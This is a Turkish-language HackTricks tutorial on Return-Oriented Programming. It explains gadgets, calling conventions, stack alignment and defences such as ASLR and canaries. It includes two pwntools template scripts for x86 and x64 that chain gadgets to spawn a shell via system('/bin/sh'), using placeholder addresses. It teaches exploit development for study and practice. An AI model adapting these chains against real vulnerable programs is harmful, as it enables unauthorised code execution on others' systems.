ROP - Return Oriented Programing
Reading time: 8 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Temel Bilgiler
Return-Oriented Programming (ROP), No-Execute (NX) veya Data Execution Prevention (DEP) gibi güvenlik önlemlerini aşmak için kullanılan ileri düzey bir istismar tekniğidir. Bir saldırgan, shellcode enjekte etmek ve çalıştırmak yerine, ikili dosyada veya yüklenmiş kütüphanelerde zaten mevcut olan kod parçalarını, yani "gadgets" kullanır. Her gadget genellikle bir ret
talimatı ile biter ve verileri registerlar arasında taşımak veya aritmetik işlemler yapmak gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan keyfi işlemler gerçekleştirmek için bir yük oluşturabilir ve böylece NX/DEP korumalarını etkili bir şekilde aşabilir.
ROP Nasıl Çalışır
- Kontrol Akışını Ele Geçirme: İlk olarak, bir saldırgan bir programın kontrol akışını ele geçirmelidir; bu genellikle bir buffer overflow kullanarak stack'teki kaydedilmiş dönüş adresini yazmakla yapılır.
- Gadget Zincirleme: Saldırgan daha sonra istenen eylemleri gerçekleştirmek için gadget'ları dikkatlice seçer ve zincirler. Bu, bir fonksiyon çağrısı için argümanları ayarlamayı, fonksiyonu çağırmayı (örneğin,
system("/bin/sh")
) ve gerekli temizlik veya ek işlemleri yönetmeyi içerebilir. - Yükün Çalıştırılması: Zayıf fonksiyon döndüğünde, meşru bir konuma dönmek yerine gadget zincirini çalıştırmaya başlar.
Araçlar
Genellikle, gadget'lar ROPgadget, ropper veya doğrudan pwntools (ROP) kullanılarak bulunabilir.
x86 Örneğinde ROP Zinciri
x86 (32-bit) Çağrı Konvansiyonları
- cdecl: Çağrıyı yapan stack'i temizler. Fonksiyon argümanları stack'e ters sırayla (sağdan sola) itilir. Argümanlar sağdan sola doğru stack'e itilir.
- stdcall: cdecl'e benzer, ancak çağrılan fonksiyon stack'i temizlemekten sorumludur.
Gadget Bulma
Öncelikle, ikili dosya veya yüklenmiş kütüphaneler içinde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır:
pop eax; ret
: Bu gadget, stack'in en üstündeki değeriEAX
register'ına alır ve ardından döner, böyleceEAX
'ı kontrol etmemizi sağlar.pop ebx; ret
: Yukarıdaki gibi, ancakEBX
register'ı için,EBX
üzerinde kontrol sağlar.mov [ebx], eax; ret
:EAX
'taki değeriEBX
tarafından işaret edilen bellek konumuna taşır ve ardından döner. Bu genellikle write-what-where gadget olarak adlandırılır.- Ayrıca,
system()
fonksiyonunun adresine de sahibiz.
ROP Zinciri
pwntools kullanarak, system('/bin/sh')
'yi çalıştırmayı hedefleyerek ROP zinciri yürütmesi için stack'i aşağıdaki gibi hazırlarız, zincirin nasıl başladığına dikkat edin:
- Hizalama amaçlı bir
ret
talimatı (isteğe bağlı) system
fonksiyonunun adresi (ASLR'nin devre dışı bırakıldığını ve libc'nin bilindiğini varsayarak, daha fazla bilgi için Ret2lib)system()
'den dönüş adresi için yer tutucu"/bin/sh"
dizesinin adresi (system fonksiyonu için parametre)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Zinciri x64 Örneği
x64 (64-bit) Çağrı Konvansiyonları
- Unix benzeri sistemlerde System V AMD64 ABI çağrı konvansiyonu kullanılır; burada ilk altı tam sayı veya işaretçi argümanı
RDI
,RSI
,RDX
,RCX
,R8
veR9
kayıtlarında iletilir. Ek argümanlar yığında iletilir. Dönüş değeriRAX
'a yerleştirilir. - Windows x64 çağrı konvansiyonu, ilk dört tam sayı veya işaretçi argümanı için
RCX
,RDX
,R8
veR9
kullanır; ek argümanlar yığında iletilir. Dönüş değeriRAX
'a yerleştirilir. - Kayıtlar: 64-bit kayıtlar
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
veR8
'denR15
'e kadar içerir.
Gadget'ları Bulma
Amacımız için, RDI kaydını ayarlamamıza ( "/bin/sh" dizesini system() fonksiyonuna argüman olarak iletmek için) ve ardından system() fonksiyonunu çağırmamıza olanak tanıyan gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz:
- pop rdi; ret: Yığının en üstündeki değeri RDI'ye alır ve ardından döner. system() için argümanımızı ayarlamak için gereklidir.
- ret: Basit bir dönüş, bazı senaryolar için yığın hizalaması için faydalıdır.
Ve system() fonksiyonunun adresini bildiğimizi biliyoruz.
ROP Zinciri
Aşağıda, system('/bin/sh')'i x64 üzerinde çalıştırmayı hedefleyen bir ROP zinciri kurmak ve yürütmek için pwntools kullanarak bir örnek verilmiştir:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Bu örnekte:
pop rdi; ret
gadget'ını kullanarakRDI
'yi"/bin/sh"
adresine ayarlıyoruz.RDI
'yi ayarladıktan sonra doğrudansystem()
'e atlıyoruz, zincirde system()'in adresi ile.- Hedef ortamın gerektirmesi durumunda hizalama için
ret_gadget
kullanılır, bu da x64'te işlevleri çağırmadan önce doğru yığın hizalamasını sağlamak için daha yaygındır.
Yığın Hizalaması
x86-64 ABI bir call instruction yürütüldüğünde yığının 16-byte hizalı olmasını garanti eder. LIBC, performansı optimize etmek için SSE instructions (örneğin movaps) kullanır ve bu hizalamayı gerektirir. Yığın düzgün hizalanmadığında (yani RSP 16'nın katı değilse), system gibi işlevlere yapılan çağrılar bir ROP chain'inde başarısız olur. Bunu düzeltmek için, system'i ROP zincirinizde çağırmadan önce basitçe bir ret gadget ekleyin.
x86 ile x64 arasındaki ana fark
tip
x64 ilk birkaç argüman için register'lar kullandığından, genellikle basit işlev çağrıları için x86'dan daha az gadget gerektirir, ancak doğru gadget'ları bulmak ve zincirlemek, register sayısının artması ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. x64 mimarisindeki artan register sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında istismar geliştirme için hem fırsatlar hem de zorluklar sunar.
ARM64 Örneğinde ROP zinciri
ARM64 Temelleri ve Çağrı Konvansiyonları
Bu bilgi için aşağıdaki sayfayı kontrol edin:
ROP'a Karşı Koruma
- ASLR & PIE: Bu korumalar, gadget'ların adreslerinin yürütme sırasında değişmesi nedeniyle ROP kullanımını zorlaştırır.
- Stack Canaries: Bir BOF durumunda, ROP zincirini kötüye kullanmak için dönüş işaretçilerini geçersiz kılmak amacıyla yığın kanaryasını atlatmak gerekir.
- Gadget Eksikliği: Yeterli gadget yoksa bir ROP zinciri oluşturmak mümkün olmayacaktır.
ROP Tabanlı Teknikler
ROP'un, keyfi kod yürütmek için sadece bir teknik olduğunu unutmayın. ROP'a dayalı olarak birçok Ret2XXX tekniği geliştirilmiştir:
- Ret2lib: Keyfi parametrelerle yüklü bir kütüphaneden keyfi işlevleri çağırmak için ROP kullanın (genellikle
system('/bin/sh')
gibi bir şey).
- Ret2Syscall: ROP kullanarak bir syscall'a, örneğin
execve
, çağrı hazırlamak ve keyfi komutlar yürütmek için kullanın.
- EBP2Ret & EBP Zincirleme: İlki akışı kontrol etmek için EIP yerine EBP'yi kötüye kullanacak ve ikincisi Ret2lib'e benzer ancak bu durumda akış esas olarak EBP adresleri ile kontrol edilir (ancak EIP'yi kontrol etmek de gereklidir).
Stack Pivoting - EBP2Ret - EBP chaining
Diğer Örnekler ve Referanslar
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bit, Pie ve nx etkin, kanaryasız, RIP'i yalnızca bayrağı sızdıran işlevin bir kısmına geri dönmek amacıyla bir
vsyscall
adresi ile geçersiz kılma - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, ASLR yok, yığını çalıştırılabilir hale getirmek ve yığında shellcode'a atlamak için ROP gadget
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.